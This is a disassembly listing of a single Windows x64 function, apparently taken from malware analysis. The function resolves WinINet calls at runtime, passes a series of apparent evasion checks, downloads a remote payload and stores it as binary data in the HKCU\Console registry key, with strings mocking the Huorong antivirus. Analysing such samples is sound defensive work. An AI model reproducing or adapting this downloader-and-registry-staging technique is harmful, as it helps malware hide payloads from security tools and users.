Function at 0x140001bd0
Capabilities:
Set registry value

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x70
mov rbp, rcx
mov ecx, 0x64000
call fcn.140002444
lea rcx, str.wininet.dll
mov dword [rsp + 0x98], 1
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
jne 0x140001c18
mov rcx, rdi
call fcn.140002394
add rsp, 0x70
pop rdi
pop rbp
pop rbx
ret
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x68], r12
lea rdx, str.InternetOpenW
mov rcx, rax
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetOpenUrlW
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetReadFile
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetCloseHandle
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test r12, r12
je 0x140001f2a
test rsi, rsi
je 0x140001f2a
test r14, r14
je 0x140001f2a
test rax, rax
je 0x140001f2a
mov ecx, 0x1f4
mov qword [rsp + 0x50], r15
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001090
test eax, eax
je 0x140001cbd
call section..text
call fcn.140001140
test eax, eax
je 0x140001ccb
call fcn.1400011f0
call fcn.1400011f0
test eax, eax
je 0x140001cd9
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140001ce7
call section..text
call section..text
test eax, eax
je 0x140001cf5
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140001d03
call section..text
call section..text
test eax, eax
je 0x140001d11
call fcn.1400011f0
call fcn.140001140
test eax, eax
je 0x140001d1f
call fcn.1400011f0
call fcn.1400012a0
test eax, eax
je 0x140001d2d
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x140001d3b
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x140001d49
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140001d57
call fcn.1400012a0
call fcn.140001140
test eax, eax
je 0x140001d65
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x140001d73
call fcn.1400014b0
call fcn.1400012a0
test eax, eax
je 0x140001d81
call section..text
call fcn.140001350
test eax, eax
je 0x140001d8f
call fcn.140001090
lea rcx, str.huorong
xor r15d, r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r15d
call r12
mov r12, rax
test rax, rax
je 0x140001f1b
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x4000000
call rsi
mov rbp, rax
test rax, rax
je 0x140001f15
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0xa0]
lea rdx, str.Console
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r15d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001f0f
mov ebx, r15d
mov esi, r15d
cmp dword [rsp + 0x98], ebx
jbe 0x140001eda
nop word [rax + rax]
mov r8d, 0x64000
mov edx, ebx
lea r9, [rsp + 0x98]
sub r8d, ebx
add rdx, rdi
mov rcx, rbp
call r14
mov r11d, dword [rsp + 0x98]
test r11d, r11d
je 0x140001ead
add ebx, r11d
cmp ebx, 0x64000
jne 0x140001ea8
mov rcx, qword [rsp + 0xa0]
lea rdx, str.huorongqnmlb
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov r11d, dword [rsp + 0x98]
add esi, ebx
mov ebx, r15d
test r11d, r11d
jne 0x140001e40
test ebx, ebx
je 0x140001eda
mov rcx, qword [rsp + 0xa0]
lea rdx, str.huorongqnmlb
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add esi, ebx
mov rcx, qword [rsp + 0xa0]
lea rdx, str.huorongqnmlb
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbp
call r13
mov rcx, r12
call r13
mov rcx, rdi
call fcn.140002394
mov r15, qword [rsp + 0x50]
jmp 0x140001f3b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rdi
call fcn.140002394
mov r13, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x90]
mov r14, qword [rsp + 0x58]
add rsp, 0x70
pop rdi
pop rbp
pop rbx
ret